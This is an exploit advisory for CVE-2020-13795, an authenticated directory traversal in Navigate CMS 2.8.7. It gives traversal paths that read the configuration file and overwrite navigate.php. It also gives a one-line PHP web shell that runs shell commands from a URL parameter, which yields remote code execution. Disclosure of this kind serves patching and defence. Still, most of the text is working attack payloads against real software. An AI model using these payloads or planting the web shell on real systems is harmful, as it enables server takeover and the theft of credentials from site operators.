Navigate CMS 2.8.7 - Authenticated Directory Traversal

# Exploit Title: Navigate CMS 2.8.7 - Authenticated Directory Traversal
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://www.navigatecms.com/en/home
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download
# Version: 2.8.7
# Tested on: Ubuntu
# CVE: CVE-2020-13795

A malicious user can abuse the authenticated templates functionality to traverse out of the templates directory to read and write to any file on the webserver as www-data.

For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example:
 `/var/www/html/navigate/private/1/templates/`
 
My initial thought was to traverse out of the current directory and read the global config file (located at `/var/www/html/navigate/cfg/globals.php`).

My payload would then consist of creating a template, setting the path to be `/var/www/html/navigate/private/1/templates/../../../cfg/globals.php`

Furthermore, this can be abused to write to a PHP file and gain RCE on the remote server, for example:

Traversal payload:
`../../../navigate.php`

PHP Code execution payload:
```
<?php
system($_GET['cmd']);
?>
```